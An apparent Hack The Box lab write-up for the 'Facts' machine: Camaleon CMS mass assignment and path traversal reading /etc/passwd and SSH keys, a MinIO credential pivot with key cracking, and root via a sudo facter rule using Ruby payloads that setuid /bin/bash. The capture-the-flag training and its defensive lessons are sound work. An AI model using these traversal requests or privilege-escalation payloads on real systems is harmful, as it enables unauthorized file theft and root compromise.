HTB Facts: Camaleon CMS Mass Assignment, Path Traversal, and Sudo Facter

Facts box: mass-assignment to admin, Camaleon download_private_file path traversal, an SSH key from a MinIO bucket, and root via a --custom-dir facter rule.

11 min read
ibrahimsql
2,120 words

HTB Facts

Camaleon CMS is a Ruby on Rails CMS. The box notes describe two separate issues: a role mass-assignment flaw during account update, and an authenticated download_private_file path traversal when the AWS S3 uploader is configured. The traversal itself does not require admin; it can expose files readable by the web process. The notes then describe an SSH-key/MinIO pivot and root through sudo facter --custom-dir=*.

1. Recon

nmap -p- --min-rate=10000 -sV -sC facts.htb

Expected port layout:

Text
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 1d:4a:... (ED25519)
80/tcp   open  http    nginx 1.24.0 (Ubuntu)
| http-title: Facts - IT Solutions
| http-server-header: nginx/1.24.0
| http-favicon: Camaleon CMS
54321/tcp open  http    MinIO S3 API
|_http-title: MinIO Object Storage
Service Info: OS: Linux

All three ports matter: 22 is SSH, 80 is the Camaleon site behind nginx, and 54321 is the MinIO S3 API. A favicon match identifies a likely CMS, but a version should be confirmed from the running application or package. Camaleon 2.9.0 is affected by CVE-2025-2304 (mass assignment in the password-change flow; fixed in 2.9.1) and, only when configured with the AWS S3 uploader, CVE-2026-1776 (authenticated arbitrary file read; affected through 2.9.0 before commit f54a77e). CVE-2024-46987 is the earlier local-uploader traversal, fixed in 2.8.2; it is not a third vulnerability in 2.9.0. See the CVE-2026-1776 record, CVE-2024-46987 record, and Tenable's CVE-2025-2304 advisory.

Bash
whatweb http://facts.htb
# http://facts.htb [200 OK] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.24.0],
#   IP[10.10.10.66], PoweredBy[Phusion Passenger], Ruby[3.2.3], Title[Facts - IT Solutions], nginx
 
ffuf -u http://facts.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc all -fc 404
# admin                [200]
# files                [200]
# login                [301]
# camaleon_cms        [301]

/admin leads to Camaleon's admin panel; the public registration page at /admin/register may be open to anyone. The first job is to open a plain account with a username/password.

Also verify port 54321:

curl -sI http://facts.htb:54321/minio/health/live
# HTTP/1.1 200 OK
# Server: MinIO

If /minio/health/live returns 200, the MinIO service is up. 54321 is the S3 API directly; the console UI may listen on a separate port. Every aws command uses --endpoint-url http://facts.htb:54321.

2. CVE-2025-2304: Mass Assignment

This is a property-level privilege-escalation issue, not an IDOR: the vulnerable operation updates the caller's account rather than selecting another user's object. Tenable's advisory identifies UsersController#updated_ajax, the password-change flow, and this unsafe update:

@user.update(params.require(:password).permit!)

permit! allows every nested parameter through; the advisory explains that a low-privileged user can include a protected role attribute and become an administrator. The fix is Camaleon 2.9.1 or later. See Tenable's technical advisory.

The previous profile PATCH /admin/users/7 example and user[role] payload are not supported by that advisory. The lab notes do not preserve the actual password-change request or response, so the exact box request cannot be reproduced here. For an authorized test, capture the installed version's own password-change request and verify that unapproved role fields are discarded and the persisted role is unchanged.

3. Path Traversal

After registering and signing in (being admin is not required), the "Download as private" flow under "Media" produces this request:

GET /admin/media/download_private_file?file=uploads/private/report.pdf HTTP/1.1
Cookie: _camaleon_session=...

The controller passes the file parameter to cama_uploader.fetch_file("private/#{params[:file]}") and returns the result with send_file. CVE-2026-1776 applies only when Camaleon uses its AWS S3 uploader: that backend omitted the valid_folder_path? check present in the local uploader, allowing an authenticated user—including a low-privileged account—to traverse outside private/ and read files available to the web process. The issue and affected backend are documented in the NVD record; the fix adds path validation in the upstream patch.

GET /admin/media/download_private_file?file=../../../../../../etc/passwd

The /etc/passwd contents reveal the machine's users: trivia and william. Then the user flag and SSH key are read:

GET /admin/media/download_private_file?file=../../../../../../home/william/user.txt
GET /admin/media/download_private_file?file=../../../../../../home/trivia/.ssh/id_ed25519

The box notes describe a passphrase-protected OpenSSH key at this path, but the key bytes and passphrase are not reproduced. That is a lab-specific observation, not a guarantee of the CVE. The advisory establishes traversal for the AWS uploader; it does not establish that double-encoded separators, null bytes, Windows paths, or generic filter-bypass payloads work. Test only the exact deployed request-decoding path in an authorized environment.

If the web process can read a configuration file containing storage credentials, treat those credentials as compromised. Do not assume every Camaleon deployment stores S3 keys in plaintext or exposes them through the admin screen.

4. MinIO Pivot

On this box, the notes record S3 credentials in Settings -> Filesystem Settings; that screen's visibility depends on the account's permissions and deployment configuration:

Text
Adapter:     S3
Endpoint:    http://facts.htb:54321
Bucket:      randomfacts
Access Key:  AKIA................   # format example; the real value differs on the box
Secret Key:  ................................   # format example; the real value differs on the box

Enumerate MinIO with these credentials:

Bash
export AWS_ACCESS_KEY_ID="<leaked access key>"
export AWS_SECRET_ACCESS_KEY="<leaked secret key>"
aws --endpoint-url http://facts.htb:54321 s3 ls
# randomfacts
# internal
 
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/ --recursive
# id_ed25519
 
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519
chmod 600 id_ed25519
 
ssh2john id_ed25519 > key.hash
john --wordlist=/usr/share/wordlists/rockyou.txt key.hash
# dragonballz           (id_ed25519)
 
ssh -i id_ed25519 trivia@facts.htb
# Enter passphrase for key 'id_ed25519': dragonballz
# trivia@facts:~$

Checking bucket policy

With admin credentials on MinIO, list every bucket and read each one's policy:

for b in $(aws --endpoint-url http://facts.htb:54321 s3 ls | awk '{print $3}'); do
  echo "== $b"; aws --endpoint-url http://facts.htb:54321 s3api get-bucket-policy --bucket "$b" 2>&1 | head -5
done

On a bucket with a public-read (anonymous) policy, the file can be fetched directly with curl http://facts.htb:54321/<bucket>/<key>; in that case no credentials are needed. On this box the randomfacts bucket is public (in some solutions the first access comes directly from here); the internal bucket carries sensitive objects like .ssh/id_ed25519 and should be restricted to s3:GetObject in an IAM policy.

5. Root: sudo facter

Bash
trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
 
User trivia may run the following commands on facts:
    (root) NOPASSWD: /usr/bin/facter --custom-dir=*

facter is Puppet's system-fact collector; with --custom-dir it reads a directory of extra fact definitions. The .rb files in the given directory are eval'd as root. Write your own fact:

Bash
mkdir -p /tmp/pwn
cat > /tmp/pwn/x.rb <<'EOF'
Facter.add(:pwn) do
  setcode do
    system("chmod +s /bin/bash")
    "done"
  end
end
EOF
sudo /usr/bin/facter --custom-dir=/tmp/pwn
# pwn => done
ls -la /bin/bash
# -rwsr-sr-x 1 root root ... /bin/bash
/bin/bash -p
# bash-5.2# id
# uid=0(root) gid=0(root) groups=0(root),1003(trivia)
cat /root/root.txt

The -p flag preserves the euid on shell startup; thanks to the setuid bit, bash starts with the root euid.

Walkthrough (line by line)

  • mkdir -p /tmp/pwn: an empty directory to hold the fact file; since /tmp is world-writable, trivia can write to it.
  • cat > /tmp/pwn/x.rb <<'EOF' ... EOF: writes the Ruby fact definition with a heredoc; the single-quoted 'EOF' disables variable expansion, so the file is written verbatim.
  • Facter.add(:pwn) do ... end: registers a new fact with Facter; its name is :pwn, and the setcode block produces its value.
  • setcode do system("chmod +s /bin/bash") end: when the fact value is computed, system is called; this runs the command with the privilege of the user the facter process runs as. Because of the sudo rule, that user is root.
  • sudo /usr/bin/facter --custom-dir=/tmp/pwn: starts facter as root, loads x.rb from /tmp/pwn, and computes the fact; meanwhile chmod +s /bin/bash is executed as root.
  • ls -la /bin/bash: the setuid bit appears as -rwsr-sr-x; the s letter shows setuid is active.
  • /bin/bash -p: opens the setuid bash with privilege preserved; otherwise bash would drop the euid.
  • id: the uid=0(root) output confirms full privilege.

An alternative payload achieves the same in one line: system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"). Use it only in an authorized lab. After testing, remove the test copy and restore the ownership/permissions of any changed files; removing a setuid bit restores that mode only and does not erase logs or other evidence.

Attack Path

The two Camaleon CVEs are separate findings. CVE-2025-2304 concerns mass assignment in the password-change flow; CVE-2026-1776 lets any authenticated user read files through the AWS S3-backed download_private_file path. The latter does not depend on admin access. The original lab notes then record these box-specific pivots:

Text
plain account
   |
   +-- password-change mass assignment --> admin privilege (CVE-2025-2304)
   |
   +-- authenticated download_private_file --> readable files (CVE-2026-1776)
                                               |
                                               +--> recorded SSH/MinIO material
                                                      |
                                                      +--> trivia SSH access
                                                             |
                                                             +--> sudo facter --custom-dir=*
                                                                    |
                                                                    +--> root

The article does not retain raw requests, responses, or the machine image for these challenge-specific pivots; treat those values as original lab notes rather than independently reproduced evidence.

Lessons

  • Mass assignment and IDOR are different failures. Rails strong parameters can prevent sensitive role fields from being mass-assigned; test each account-update operation with a normal user and verify protected fields stay unchanged. Separately, test whether one account can access another account's objects. The authorization test plan covers access-control testing.
  • S3/MinIO credentials are secrets. The lab notes say the Filesystem Settings page exposed a key, but its effective permissions are not recorded. A leaked key grants only the operations allowed by its bucket/IAM policy; use a dedicated least-privilege identity, mask secrets in administrative views, and rotate any exposed key.
  • sudo plus a script/binary's custom-dir argument = the given directory runs as root. The facter --custom-dir=* rule gives trivia the right to run arbitrary Ruby as root; this is a textbook example of that sudoers mistake. Similar patterns recur across many tools: puppet --modulepath, ansible-playbook -i, git -c core.sshCommand. A sudoers audit looks at the rule's argument; if a * or a user-controlled path passes through, the rule is root-equivalent.
  • Path-traversal defense checks canonical path boundaries; it does not strip text. Filters such as file.gsub("../", "") fail on alternate encodings. Canonicalize the configured root and candidate, then verify containment by path components (for example, reject a Pathname#relative_path_from(root) result whose first component is ..). A plain start_with?(root) can also accept a sibling such as /var/www-old under /var/www. If a filesystem change can race the check and open, use descriptor-relative APIs and no-follow controls. On download_private_file, allowlist permitted filenames.
  • A setuid bit alone does not prove a useful privilege escalation. Confirm the file owner, effective-UID behavior, and invocation context; Bash normally drops elevated privileges unless started with -p. For defense, compare the setuid inventory with a trusted package/configuration baseline and investigate unexpected changes. find / -perm -4000 is an inventory command, not a complete incident-response control.
  • Keep Camaleon patched and account for the configured storage backend. CVE-2024-46987 affected the local uploader and was fixed in 2.8.2; CVE-2026-1776 affected the AWS S3 uploader through 2.9.0 before commit f54a77e; CVE-2025-2304 is a separate password-change mass-assignment issue fixed in 2.9.1. Confirm the backend and installed package version, then apply the vendor fix. Sources: CVE-2024-46987, CVE-2026-1776, Tenable advisory.

Appendix: Common Pitfalls

  • Do not infer the CVE request from a generic profile update. CVE-2025-2304 affects UsersController#updated_ajax during password change; capture that flow on the deployed version rather than guessing parameter roots or field variants.
  • download_private_file requires authentication, not admin. CVE-2026-1776 affects the AWS S3 uploader and allows low-privileged authenticated users to read files available to the web process; verify the configured backend and patch level against the CVE record.
  • aws s3 ls does not work without an endpoint. MinIO is not AWS S3; pass --endpoint-url http://facts.htb:54321 on every command. If a region is required, export AWS_DEFAULT_REGION=us-east-1.
  • The fact value may not show in facter's output. --custom-dir loads the fact, but the Facter.add block runs its setcode only when the fact is requested; call it explicitly with facter pwn or facter -p.
  • A setuid bash does not work on some distributions. On Debian/Ubuntu you need bash -p; without -p, bash drops the euid to the real uid and root is lost.

Appendix: Alternative Root Paths

Because the argument in the same sudo rule is --custom-dir=*, a different directory can be given; the whole directory is loaded, not just one file. The same effect with another payload:

Bash
cat > /tmp/pwn/y.rb <<'EOF'
Facter.add(:pwn2) do
  setcode do
    system("cp /bin/bash /tmp/rb && chmod +s /tmp/rb")
    "ok"
  end
end
EOF
sudo /usr/bin/facter --custom-dir=/tmp/pwn pwn2
/tmp/rb -p
id

// END OF REPORT Tags: HTB-Facts / Mass Assignment / Path Traversal / Camaleon / MinIO / facter sudo

---
Share this post:

What do you think?

React to show your appreciation

Related Posts